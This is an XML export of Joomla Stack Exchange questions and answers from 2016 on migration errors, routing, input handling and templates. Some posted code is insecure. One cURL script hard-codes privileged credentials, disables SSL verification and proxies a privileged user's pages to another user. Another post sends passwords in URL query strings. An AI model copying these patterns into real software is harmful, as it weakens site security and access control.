  <row Id="17278" PostTypeId="1" AcceptedAnswerId="17279" CreationDate="2016-07-26T12:08:55.607" Score="2" ViewCount="1036" Body="&lt;p&gt;After migrating my website from Joomla 2.5 to 3.6, I get the following error when trying to view the homepage: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Fatal error: Call to undefined method Joomla\Registry\Registry::loadJSON() in C:\wamp\www\web\templates\hdchannel\html\mod_menu\yjsg_modhelper.php on line 40&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;what should I do to solve this error? &lt;/p&gt;&#xA;" OwnerUserId="8757" LastEditorUserId="168" LastEditDate="2016-07-26T12:10:19.967" LastActivityDate="2016-07-26T12:12:28.373" Title="upgrade form 2.5 to 3.6" Tags="|joomla-2.5|joomla-3.5|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17279" PostTypeId="2" ParentId="17278" CreationDate="2016-07-26T12:12:28.373" Score="3" Body="&lt;p&gt;In Joomla 3.0, &lt;code&gt;Registry::loadJSON()&lt;/code&gt; was removed as mentioned &lt;a href=&quot;https://docs.joomla.org/Potential_backward_compatibility_issues_in_Joomla_3_and_Joomla_Platform_12.2&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;, so you need to update this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Open the following file and go to line 40:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;C:\wamp\www\web\templates\hdchannel\html\mod_menu\yjsg_modhelper.php&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Then replace:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;loadJSON&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;loadString&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="168" LastActivityDate="2016-07-26T12:12:28.373" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="17280" PostTypeId="1" CreationDate="2016-07-26T13:24:40.183" Score="1" ViewCount="256" Body="&lt;p&gt;I am building a website, and I would like to modify the CSS position for this floating box message that is displayed when the mouse pointer is hovered over a  form field label.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can it be achieved? What is the file that I have to edit (override)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/RxBNM.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/RxBNM.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/How_to_add_tooltips_to_your_Joomla!_website&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/How_to_add_tooltips_to_your_Joomla!_website&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8402" LastEditorUserId="8402" LastEditDate="2016-08-03T15:54:21.740" LastActivityDate="2016-08-03T15:54:21.740" Title="How the contact form label bootstrap tooltip popup onhover message position can be modified?" Tags="|template-override|joomla-3.5|bootstrap|contact-form|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17281" PostTypeId="1" CreationDate="2016-07-26T16:22:36.973" Score="1" ViewCount="63" Body="&lt;p&gt;I'm new to web development and php, but i'm knowledgeable in Java, Python, C and programming in general.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to create a user-specific page that stores the IP addresses of the user (and users have access to view his own page that contains his ip addresses).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A program will access my website through a specific url: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;mydomainname&amp;gt;.com/index.php?option=com_auth&amp;amp;username=&amp;lt;insertusername&amp;gt;&amp;amp;password=&amp;lt;insertpassword&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And the php script for com_auth extension will authenticate the credentials through &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ($response-&amp;gt;status != JAuthentication::STATUS_SUCCESS) {&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;following which it will grab the ip address of the user by &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ip = $_SERVER['REMOTE_ADDR'];&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now i need to append this address to an user specific page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do i create such a page in joomla, and how can the php read &amp;amp; write to the page?&lt;/p&gt;&#xA;" OwnerUserId="8760" LastActivityDate="2017-02-23T10:46:31.247" Title="Reading from &amp; writing to user-specific page" Tags="|php|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17282" PostTypeId="2" ParentId="16554" CreationDate="2016-07-27T08:47:27.380" Score="1" Body="&lt;p&gt;Yes it's possible to get urls without IDs by rewriting the router.php, but I don't recommend to change core files or core components like the com_content for future compatibility.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should use a component like SEF404 to rewrite the urls in your favour.&#xA;(Joomla 4 maybe will have a better inbuilt solution.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Hint for developers:&lt;/strong&gt;&#xA;Please take a look into your component routers, you can simply write your own logic there to get item urls without IDs and with seo optimized aliases.&lt;/p&gt;&#xA;" OwnerUserId="7024" LastEditorUserId="7024" LastEditDate="2017-08-23T14:55:07.820" LastActivityDate="2017-08-23T14:55:07.820" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17283" PostTypeId="2" ParentId="17246" CreationDate="2016-07-27T09:00:34.743" Score="1" Body="&lt;p&gt;How do you do requests?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did something like the following in my projects:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$jinput = JFactory::getApplication()-&amp;gt;input-&amp;gt;json;&#xA;$feedback = $jinput-&amp;gt;get('feedback', array(), 'array'); // will return your array with keys&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To get nested items with filters:&#xA;You can also nest arrays to get more complicated hierarchies of values:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$fooValues = $jinput-&amp;gt;getArray(array(&#xA;    'feedback' =&amp;gt; array(&#xA;        'comment' =&amp;gt; 'string',&#xA;        'someint' =&amp;gt; 'int'&#xA;    )&#xA;));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Source: &lt;a href=&quot;https://docs.joomla.org/Retrieving_request_data_using_JInput&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Retrieving_request_data_using_JInput&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additional info for others using JinputJson:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://api.joomla.org/cms-3/classes/Joomla.CMS.Input.Json.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;JInputJson Joomla Doc&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/joomla/joomla-cms/blob/staging/libraries/src/Input/Input.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;JInput Class Source&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/joomla/joomla-cms/blob/staging/libraries/src/Input/Json.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;JInputJson Class Soure&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;JinputJson just extends Jinput and changes $this-&gt;data to encoded JSON (as array). You can then retrieve the data with the get function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;I would recommend to build your JSON object like {&quot;comment&quot;:&quot;abc&quot;,&quot;howhear&quot;:&quot;abc&quot;}, so you could use the filter on the entries directly:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$feedback['comment'] = $jinput-&amp;gt;get('comment', '', 'string');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7024" LastEditorUserId="168" LastEditDate="2018-03-21T09:59:24.863" LastActivityDate="2018-03-21T09:59:24.863" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="17285" PostTypeId="2" ParentId="16103" CreationDate="2016-07-27T10:00:25.233" Score="1" Body="&lt;p&gt;Take a look into the com_content router, category blog view works like that,&#xA;shows a list of articles under &lt;strong&gt;domain.com/blog&lt;/strong&gt; and the links are generated like&#xA;&lt;strong&gt;domain.com/category/1-my-first-article&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But it also allows something like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;domain.com/blog/1-my-first-article&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Therefore you have to change your link generating (JROUTE) in your component for the item, removing the item view. You can manually build the link to by parsing just the route to the list view, attaching the item alias to the url string.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;This could be helpful too:&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://stackoverflow.com/questions/22116391/advance-url-sef-for-joomla-custom-component&quot;&gt;https://stackoverflow.com/questions/22116391/advance-url-sef-for-joomla-custom-component&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I don't do that for my components I just redirect everything to the main view and then check the segments with an external router class.)&lt;/p&gt;&#xA;" OwnerUserId="7024" LastEditorUserId="-1" LastEditDate="2017-05-23T12:38:51.907" LastActivityDate="2016-07-27T10:00:25.233" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17286" PostTypeId="2" ParentId="17264" CreationDate="2016-07-27T11:31:28.850" Score="4" Body="&lt;p&gt;You have either some files corrupted on update, or some outdated server software.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Overwrite your web-site with Joomla 3.6.0 full package to be sure it's no a file corruption (extract the Joomla full package and upload everything except installation folder using overwrite).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If this doesn't help, enable development error level and check the link. You'll see the problem. Search in Global configuration -&gt; Server tab.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Depending on the problem - we can suggest what to do.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Don't forget to switch error level back to System or None on the production server.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="8616" LastActivityDate="2016-07-27T11:31:28.850" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17287" PostTypeId="1" CreationDate="2016-07-27T12:41:02.170" Score="0" ViewCount="877" Body="&lt;p&gt;A friend of mine asked, if I can help him in changing the header image of his Joomla Page. Since I should know how to do this in any CMS, I asked him to provide me with the credentials. However, I did not find the correct menu where I could change the header image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also looked up &lt;em&gt;tutorials&lt;/em&gt; on the internet on how to do this, such as, &lt;a href=&quot;http://www.inmotionhosting.com/support/edu/joomla-3/joomla-blog/new-banner-image&quot; rel=&quot;nofollow noreferrer&quot;&gt;this one&lt;/a&gt;. According to this guide, I should go to &lt;em&gt;Extensions =&gt; Modules&lt;/em&gt; in the admin menu and then look for &lt;em&gt;Images&lt;/em&gt;. But I do not see &lt;em&gt;Images&lt;/em&gt; in the admin menu of my friend's page. What is wrong? The used version is &lt;code&gt;Joomla! 3.6.0&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a screenshot of the &lt;em&gt;Modules&lt;/em&gt; page:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Y0zXe.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Y0zXe.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8764" LastEditorUserId="3650" LastEditDate="2016-12-01T13:04:37.243" LastActivityDate="2016-12-01T13:04:37.243" Title="Change header image Joomla 3.6.0" Tags="|joomla-3.x|templates|images|header|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17288" PostTypeId="1" CreationDate="2016-07-27T13:20:05.083" Score="3" ViewCount="226" Body="&lt;p&gt;Scenario:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;User is posting an ajax request to Joomla site (via &lt;a href=&quot;https://docs.joomla.org/Using_Joomla_Ajax_Interface&quot; rel=&quot;nofollow&quot;&gt;com_ajax&lt;/a&gt;).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Inside the called method, I want to retrieve the entire html output&#xA;    of a known Joomla submenu (let's say /contact). The joomla submenu is only accessible to a different user than the one currently logged in.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;The method then returns the html back to the user.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;OK, I can do #1 and #3, no problem. How can I do #2 ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Things I've explored:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Posting via cURL - I could not find a way to maintain session&#xA;variables and surpass Joomla's CSRF protection mechanism.&lt;/li&gt;&#xA;&lt;li&gt;Using &lt;code&gt;ob_start&lt;/code&gt;, then using the &lt;code&gt;redirect&lt;/code&gt; method of &lt;code&gt;JApplication&lt;/code&gt;. This sends only the redirect headers.&lt;/li&gt;&#xA;&lt;li&gt;Using JApplication-&gt;login to impersonate a user. This solves just a part of the problem. I am only mentioning it because if someone posts an answer via cURL, it'd have to tackle the authentication problem too.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&quot;Solutions&quot; that will not work (to save you some time):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;require&lt;/code&gt; / &lt;code&gt;include&lt;/code&gt; X file: No, because I want an entire url (which&#xA;may contain multiple components/modules)&lt;/li&gt;&#xA;&lt;li&gt;Have the user directly call the url (in this case /contact): No, for&#xA;various business logic rules. Let's say for simplicity that the&#xA;returned html output is &quot;enriched&quot; before being sent back.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="8766" LastEditorUserId="7394" LastEditDate="2016-08-09T07:33:54.727" LastActivityDate="2016-08-09T07:33:54.727" Title="Get the output of another url and store it in a variable, while maintaining session" Tags="|joomla-3.x|php|development|curl|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17289" PostTypeId="1" AcceptedAnswerId="17313" CreationDate="2016-07-27T13:29:00.117" Score="0" ViewCount="262" Body="&lt;p&gt;I do have a weird issue with my Joomla 3.6 page.&#xA;All works fine except the search. It works with several words but unfortunately it stops working with a total white blank page (even no HTML-markup).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tryed debugging like &lt;a href=&quot;https://joomla.stackexchange.com/questions/299/what-is-an-efficient-way-to-troubleshoot-a-white-screen-of-death&quot;&gt;here&lt;/a&gt; with no solution. There is no entry in my error.log. My access.log shows me &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[27/Jul/2016:15:21:28 +0200] &quot;GET /suche?searchword=edi&amp;amp;searchphrase=all&amp;amp;limit=20 HTTP/1.1&quot; 200 430 &quot;/suche?searchword=vendoc&amp;amp;ordering=newest&amp;amp;searchphrase=all&amp;amp;limit=20&quot; &quot;Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Nothing special so far. It only appears to happen to certain words (no offensive words).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Under &quot;plugins&quot; there is just the &quot;content&quot; and &quot;contact&quot; enabled. If I disable &quot;content&quot; then everything works just fine. Under &quot;components&quot; -&gt; &quot;search&quot; search statistic is logged with state enabled.&lt;/p&gt;&#xA;" OwnerUserId="5794" LastEditorUserId="5794" LastEditDate="2016-07-28T06:17:03.060" LastActivityDate="2018-08-30T08:27:33.133" Title="White screen of death" Tags="|joomla-3.x|search|" AnswerCount="3" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="17290" PostTypeId="2" ParentId="299" CreationDate="2016-07-27T14:00:40.257" Score="3" Body="&lt;p&gt;It seems that no one has mentioned disabling output buffering - so I'll mention it here...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Output buffering is very nasty for debugging, and even if you set your error reporting to maximum and add the &lt;code&gt;php.ini&lt;/code&gt; entries, it still won't work (you still won't see the errors). This can be disabled by just adding &lt;code&gt;output_buffering = off&lt;/code&gt; to the &lt;code&gt;.htaccess&lt;/code&gt; file as mentioned &lt;a href=&quot;http://www.itoctopus.com/why-is-it-that-joomla-sometimes-doesnt-show-the-errors-even-if-error-reporting-is-set-to-maximum&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; (note that this may not work in all environments).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally, another issue causing a blank page is that the host itself might have disabled error reporting on his end - in that case, the host must be contacted as many hosts do not allow overrides of their own settings.&lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2016-07-27T14:00:40.257" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17291" PostTypeId="2" ParentId="17289" CreationDate="2016-07-27T14:07:15.803" Score="1" Body="&lt;p&gt;Most likely this is caused by your script timing out on certain words, or your memory limit being exceeded on certain words (because they are in so many entries). I suggest you increase the PHP memory limit in your &lt;code&gt;php.ini&lt;/code&gt; and see if that solves the problem. If it doesn't, then try increasing your PHP timeout in your &lt;code&gt;php.ini&lt;/code&gt;. &lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2016-07-27T14:07:15.803" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="17292" PostTypeId="2" ParentId="17288" CreationDate="2016-07-27T15:05:58.537" Score="1" Body="&lt;p&gt;I had partial success with the following, thanks to &lt;a href=&quot;https://stackoverflow.com/a/21854089/1543677&quot;&gt;this&lt;/a&gt; answer mainly:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;function retrieveURL($relativeURL){&#xA;    $uname = &quot;user&quot;;    //this is the privileged user to the relative url we want&#xA;    $upswd = &quot;pass&quot;;&#xA;    $domain = $_SERVER['HTTP_HOST'];&#xA;    $prefix = $_SERVER['HTTPS'] ? 'https://' : 'http://';&#xA;&#xA;    $url_get_key = $prefix.$domain.&quot;index.php?option=com_users&quot;; &#xA;&#xA;    //GET return &amp;amp; key&#xA;    $ch = curl_init();&#xA;    curl_setopt($ch, CURLOPT_URL, $url_get_key );&#xA;    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE );&#xA;    curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE );&#xA;&#xA;    curl_setopt($ch, CURLOPT_COOKIEJAR, dirname(__FILE__).'/cookie.txt');   //as far as i understand, this stores a *new* session to a cookie file&#xA;    curl_setopt($ch, CURLOPT_COOKIEFILE, dirname(__FILE__).'/cookie.txt');&#xA;    curl_setopt($ch, CURLOPT_HEADER, 0 );&#xA;&#xA;    $results = curl_exec($ch);&#xA;&#xA;    preg_match_all(&quot;(&amp;lt;input type=\&quot;hidden\&quot; name=\&quot;return\&quot; value=\&quot;(.*)\&quot; /&amp;gt;)siU&quot;, $results, $matches1);   //Should not be needed if username and password are correct&#xA;    preg_match_all(&quot;(&amp;lt;input type=\&quot;hidden\&quot; name=\&quot;(.*)\&quot; value=\&quot;1\&quot; /&amp;gt;(.*)&amp;lt;/fieldset&amp;gt;)iU&quot;, $results, $matches2); //Same as above&#xA;&#xA;    // POST&#xA;    $url_post = $prefix.$domain.&quot;index.php?option=com_users&amp;amp;task=user.login&quot;;&#xA;    $postdata = &quot;username=&quot;.urlencode($uname).&quot;&amp;amp;password=&quot;.urlencode($upswd).&quot;&amp;amp;return=&quot;.urlencode($matches1[1][0]).&quot;&amp;amp;&quot;.urlencode($matches2[1][0]).&quot;=1&quot;;&#xA;    curl_setopt($ch, CURLOPT_URL, $url_post);&#xA;    curl_setopt($ch, CURLOPT_POST, TRUE);&#xA;    curl_setopt($ch, CURLOPT_POSTFIELDS, $postdata);&#xA;    $results1 = curl_exec($ch);&#xA;&#xA;    $url_data = $prefix.$domain.$relativeURL;   &#xA;    curl_setopt($ch, CURLOPT_URL, $url_data);   //Now we can retrieve the proper url&#xA;&#xA;    $results2 = curl_exec($ch);&#xA;    $error = curl_error($ch);&#xA;    $errno = curl_errno($ch);&#xA;&#xA;    curl_close($ch);&#xA;    return $results2;   //could probably use a bit more error checking&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This retrieves the html of the output page with the credentials of the privileged user. Now, if I could somehow keep the session variables of the previous user, or inject them to the new session, all would be perfect. From what I understand though, what I am trying to do may be called &quot;Session poisoining&quot; :)&lt;/p&gt;&#xA;" OwnerUserId="8766" LastEditorUserId="-1" LastEditDate="2017-05-23T12:38:51.907" LastActivityDate="2016-07-27T15:05:58.537" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17293" PostTypeId="2" ParentId="17287" CreationDate="2016-07-27T16:34:07.447" Score="1" Body="&lt;p&gt;Assuming that by &quot;header image&quot; you are NOT reffering to &quot;Kiperowil&quot; logo in header, but to trucks images in slider underneath, you can change them in 'Vinaora Nivo Slider' published in position-4.&lt;br&gt;&#xA;I have seen hundreds of slide-show extensions, but this one is new to me.&lt;/p&gt;&#xA;" OwnerUserId="3650" LastEditorUserId="3650" LastEditDate="2016-07-27T18:49:53.817" LastActivityDate="2016-07-27T18:49:53.817" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="17294" PostTypeId="2" ParentId="16375" CreationDate="2016-07-27T17:49:02.510" Score="1" Body="&lt;p&gt;A bit more code (what is behind $imagedir, what is the way of ouput) would help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just a shot in the blue:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$img = JPATH_SITE.'/images/someFolder/'.date('d',time()).'.jpg'; // absolute path&#xA;&#xA;$img = __DIR__.'/someFolder'.date('d',time()).'.jpg'; // abs. path relative to current file&#xA;&#xA;$imgContent = filet_get_contents($img);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;As relative src url:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; $img = JURI::base().'images/someFolder/'.date('d',time()).'.jpg';&#xA; // http://domain.com/images/someFolder/27.jpg&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7024" LastActivityDate="2016-07-27T17:49:02.510" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17296" PostTypeId="2" ParentId="17281" CreationDate="2016-07-28T04:45:55.980" Score="1" Body="&lt;p&gt;I might have misunderstood your question, so please feel free to elaborate/correct me if I misunderstood.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will need to create a table, let's call it &lt;code&gt;#__users_ip&lt;/code&gt; that contains 3 fields: &lt;code&gt;userid&lt;/code&gt; which is the user id of the user that has logged in, &lt;code&gt;ip&lt;/code&gt; which is the IP of the user, and &lt;code&gt;login_datetime&lt;/code&gt; which is the &lt;code&gt;datetime&lt;/code&gt; when the user logged in. (&lt;code&gt;#__&lt;/code&gt; is your table prefix [for some reason, Joomla calls it &lt;code&gt;$dbprefix&lt;/code&gt; in the &lt;code&gt;configuration.php&lt;/code&gt; file, which is short for database prefix, which I personally think it's wrong])&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Every time a person logs in, you insert his user and his IP to that table. Then, in the extension of your choice (I don't know how you want to retrieve the data), you can just pass the user id and get the IPs he logged in from and at what time. Hope that helps!&lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2016-07-28T04:45:55.980" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17297" PostTypeId="2" ParentId="17270" CreationDate="2016-07-28T04:53:15.777" Score="3" Body="&lt;p&gt;Password protecting the backend using &lt;code&gt;.htpasswd&lt;/code&gt; is much better than using (Akeeba's) admintools - it is very efficient, and the beauty is that if an IP tries to login 5 times with a wrong password, then that IP gets blocked by the CSF firewall.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I personally don't believe that having to append a hash at the end of the URL to login to the admin will make the website more secure.&lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2016-07-28T04:53:15.777" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17300" PostTypeId="1" AcceptedAnswerId="17686" CreationDate="2016-07-28T11:05:28.323" Score="1" ViewCount="398" Body="&lt;p&gt;After migrating from Joomla 2.5 to 3.6, I get the following error on the homepage:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;DateTimeZone::__construct(): Unknown or bad timezone (0)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Does anyone know how I can overcome this?&lt;/p&gt;&#xA;" OwnerUserId="8757" LastEditorUserId="168" LastEditDate="2016-07-28T11:30:47.207" LastActivityDate="2016-08-25T11:35:21.273" Title="after upgrade to 3.6 error time zone" Tags="|joomla-2.5|date|joomla-3.6|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="17301" PostTypeId="1" CreationDate="2016-07-28T13:51:42.590" Score="2" ViewCount="341" Body="&lt;p&gt;The Trash button isn't working properly in a custom component in Joomla 3.x. It's behaving a bit weirdly. What happened when I tried to select a particular file or file list and then click the Trash button and that particular file or file list is still showing there (it supposed to move from the original location to the trashed box location when we hit the trash button, but here it stays in both location). And in the same time that particular file or file list also can be seen to the Trashed box as well where I just need to select that file and click the Empty Trash button. Empty Trash button is working fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that the file is showing in both location after click Trash button. It's look like some code is missing in this custom component and that's why the Trash button isn't working the way it should worked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only code I found related to this is the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ($this-&amp;gt;state-&amp;gt;get('filter.state') == -2 &amp;amp;&amp;amp; $canDo-&amp;gt;get('core.delete'))&#xA;{&#xA;    JToolbarHelper::deleteList('', 'kpcnews.delete', 'JTOOLBAR_EMPTY_TRASH');&#xA;}       &#xA;elseif ($canDo-&amp;gt;get('core.edit.state'))&#xA;{&#xA;    JToolbarHelper::trash('kpcnews.trash');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8772" LastEditorUserId="154" LastEditDate="2016-07-28T15:42:31.047" LastActivityDate="2016-07-29T00:02:43.980" Title="Trash button not working" Tags="|joomla-3.x|custom-component|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17302" PostTypeId="2" ParentId="17301" CreationDate="2016-07-28T15:46:50.987" Score="2" Body="&lt;p&gt;The code you are showing is responsible for showing either the delete or the trash button, based on your current selected state filter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are following Joomla's coding architecture, the code you are looking for is located in your list models &lt;code&gt;getListQuery&lt;/code&gt; method. There is a part which handles the filtering by state, for example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Filter by published state&#xA;$published = $this-&amp;gt;getState('filter.published');&#xA;if (is_numeric($published))&#xA;{&#xA;    $query-&amp;gt;where($db-&amp;gt;quoteName('a.state') . ' = ' . (int) $published);&#xA;}&#xA;elseif ($published === '')&#xA;{&#xA;    $query-&amp;gt;where($db-&amp;gt;quoteName('a.state') . ' IN (0, 1)');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="154" LastEditorUserId="115" LastEditDate="2016-07-29T00:02:43.980" LastActivityDate="2016-07-29T00:02:43.980" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17303" PostTypeId="1" AcceptedAnswerId="18598" CreationDate="2016-07-28T22:38:09.890" Score="1" ViewCount="59" Body="&lt;p&gt;I have built a web app that couples with a community built with JomSocial and I want to be able to award points to users within the community when they do things in the app. I already have ties to Joomla built in to my app, but I can't seem to find any documentation on how points work. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions?&lt;/p&gt;&#xA;" OwnerUserId="8550" LastActivityDate="2016-12-10T17:43:35.743" Title="Is there a method for adding points to a user from outside of Joomla?" Tags="|jomsocial|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
